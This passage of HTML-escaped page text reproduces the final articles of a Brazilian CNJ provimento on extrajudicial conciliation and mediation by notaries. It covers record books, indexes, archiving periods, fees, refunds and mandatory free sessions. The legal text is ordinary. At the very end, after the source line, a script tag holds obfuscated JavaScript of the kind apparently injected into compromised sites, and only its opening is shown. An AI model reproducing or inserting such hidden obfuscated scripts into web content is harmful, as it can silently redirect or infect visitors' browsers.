encerramento.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; O livro eletr&ocirc;nico somente poder&aacute; ser adotado por sistema que garanta a verifica&ccedil;&atilde;o da exist&ecirc;ncia e conte&uacute;do do ato, subordinando se &agrave;s mesmas regras de lavratura atinentes ao livro f&iacute;sico.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 29. Nos termos de audi&ecirc;ncias de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o lavradas em livro de folhas soltas, as partes lan&ccedil;ar&atilde;o a assinatura no final da &uacute;ltima, rubricando as demais.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Se os declarantes ou participantes n&atilde;o puderem, por alguma circunst&acirc;ncia, assinar, far-se-&aacute; declara&ccedil;&atilde;o no termo, assinando a rogo outra pessoa e apondo-se &agrave; margem do ato a impress&atilde;o datilosc&oacute;pica da que n&atilde;o assinar.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 30. As folhas soltas utilizadas ser&atilde;o acondicionadas em pasta pr&oacute;pria, correspondente ao livro a que perten&ccedil;am, at&eacute; a encaderna&ccedil;&atilde;o, que ocorrer&aacute; no per&iacute;odo de at&eacute; 60 (sessenta) dias subsequentes &agrave; data do encerramento.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. O encerramento ser&aacute; feito imediatamente ap&oacute;s a lavratura do &uacute;ltimo termo de audi&ecirc;ncia, ainda que pendente o decurso do prazo previsto no caput deste artigo para ultima&ccedil;&atilde;o do ato previamente praticado e n&atilde;o subscrito.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 31. O livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o conter&aacute; &iacute;ndice alfab&eacute;tico com a indica&ccedil;&atilde;o dos nomes das partes interessadas presentes&nbsp;&agrave; sess&atilde;o, devendo constar o n&uacute;mero do CPF\/CNPJ &ndash; ou, na sua falta, o n&uacute;mero de documento de identidade &ndash; e a refer&ecirc;ncia ao livro e folha em que foi lavrado o termo de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Os &iacute;ndices poder&atilde;o ser elaborados pelo sistema de fichas, microfichas ou eletr&ocirc;nico, em que ser&atilde;o anotados os dados das partes envolvidas nos procedimentos de media&ccedil;&atilde;o ou de concilia&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em>Art. 32. O livro e qualquer documento oriundo de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o extrajudicial dever&atilde;o permanecer no of&iacute;cio e quaisquer&nbsp;dilig&ecirc;ncias judiciais ou extrajudiciais que exigirem sua apresenta&ccedil;&atilde;o ser&atilde;o realizadas, sempre que poss&iacute;vel, no pr&oacute;prio of&iacute;cio, salvo por determina&ccedil;&atilde;o judicial, caso em que o documento ou o livro poder&aacute; deixar o servi&ccedil;o extrajudicial.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 33. Os servi&ccedil;os notariais e de registro dever&atilde;o manter em seguran&ccedil;a permanente os livros e documentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o, respondendo pela ordem, guarda e conserva&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. O livro de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o poder&aacute; ser escriturado em meio eletr&ocirc;nico e o traslado do termo respectivo poder&aacute; ser disponibilizado na rede mundial de computadores para acesso restrito, mediante a utiliza&ccedil;&atilde;o de c&oacute;digo espec&iacute;fico fornecido &agrave;s partes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 34. Os documentos eventualmente apresentados pelas partes para a instru&ccedil;&atilde;o da concilia&ccedil;&atilde;o ou da media&ccedil;&atilde;o ser&atilde;o examinados&nbsp;e devolvidos a seus titulares durante a sess&atilde;o, devendo os servi&ccedil;os notariais e de registro manter em arquivo pr&oacute;prio, al&eacute;m do requerimento firmado pelas partes, todos os documentos que julgar pertinentes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 35. Os servi&ccedil;os notariais e de registro observar&atilde;o o prazo m&iacute;nimo de 5 (cinco) anos para arquivamento dos documentos relativos a concilia&ccedil;&atilde;o e media&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. N&atilde;o subsistir&aacute; a obrigatoriedade de conserva&ccedil;&atilde;o dos documentos microfilmados ou gravados por processo eletr&ocirc;nico de imagens.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o VII<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Dos Emolumentos<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 36. Enquanto n&atilde;o editadas, no &acirc;mbito dos Estados e do Distrito Federal, normas espec&iacute;ficas relativas aos emolumentos, observadas as diretrizes previstas pela Lei n. 10.169, de 29 de dezembro de 2000, aplicar-se-&aacute; &agrave;s concilia&ccedil;&otilde;es e &agrave;s media&ccedil;&otilde;es extrajudiciais a tabela referente ao menor valor cobrado na lavratura de escritura p&uacute;blica sem valor econ&ocirc;mico.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>1&ordm; Os emolumentos previstos no caput deste artigo referem-se a uma sess&atilde;o de at&eacute; 60 (sessenta) minutos e neles ser&aacute; inclu&iacute;do o valor de uma via do termo de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o para cada uma das partes.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>2&ordm; Se excedidos os 60 (sessenta) minutos mencionados no par&aacute;grafo anterior ou se forem necess&aacute;rias sess&otilde;es extraordin&aacute;rias para a obten&ccedil;&atilde;o de acordo, ser&atilde;o cobrados emolumentos proporcionais ao tempo excedido, na primeira hip&oacute;tese, e relativos a cada nova sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o, na segunda hip&oacute;tese, mas, em todo caso, poder&aacute; o custo ser repartido pro rata entre as partes, salvo se transigirem de forma diversa.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>3&ordm; Ser&aacute; considerada sess&atilde;o extraordin&aacute;ria aquela n&atilde;o prevista no agendamento.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 37. &Eacute; vedado aos servi&ccedil;os notariais e de registro receber das partes qualquer vantagem referente &agrave; sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o, exceto os valores relativos aos emolumentos e despesas de notifica&ccedil;&atilde;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 38. Na hip&oacute;tese de o arquivamento do requerimento ocorrer antes da sess&atilde;o de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o, 75% (setenta e cinco por cento) do valor recebido a t&iacute;tulo emolumentos ser&aacute; restitu&iacute;do ao requerente.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. As despesas de notifica&ccedil;&atilde;o n&atilde;o ser&atilde;o restitu&iacute;das, salvo se ocorrer desist&ecirc;ncia do pedido antes da realiza&ccedil;&atilde;o do ato.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 39. Com base no art. 169, &sect; 2&ordm;, do CPC, os servi&ccedil;os notariais e de registro realizar&atilde;o sess&otilde;es n&atilde;o remuneradas de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o para atender demandas de gratuidade, como contrapartida da autoriza&ccedil;&atilde;o para prestar o servi&ccedil;o.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Par&aacute;grafo &uacute;nico. Os tribunais determinar&atilde;o o percentual de audi&ecirc;ncias n&atilde;o remuneradas, que n&atilde;o poder&aacute; ser inferior a 10% da m&eacute;dia semestral das sess&otilde;es realizadas pelo servi&ccedil;o extrajudicial nem inferior ao percentual fixado para as c&acirc;maras privadas.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Se&ccedil;&atilde;o VIII<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Das Disposi&ccedil;&otilde;es Finais<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 40. Ser&aacute; vedado aos servi&ccedil;os notariais e de registro estabelecer, em documentos por eles expedidos, cl&aacute;usula compromiss&aacute;ria de concilia&ccedil;&atilde;o ou de media&ccedil;&atilde;o extrajudicial.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 41. Aplica-se o disposto no art. 132, caput e &sect; 1&ordm;, do C&oacute;digo Civil brasileiro &agrave; contagem dos prazos.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Art. 42. Este provimento entra em vigor na data da sua publica&ccedil;&atilde;o, permanecendo v&aacute;lidos os provimentos editados pelas corregedorias de justi&ccedil;a no que forem compat&iacute;veis.<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em>Ministro<br \/>\nJO&Atilde;O OT&Aacute;VIO DE NORONHA<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><em>Fonte: CNJ<\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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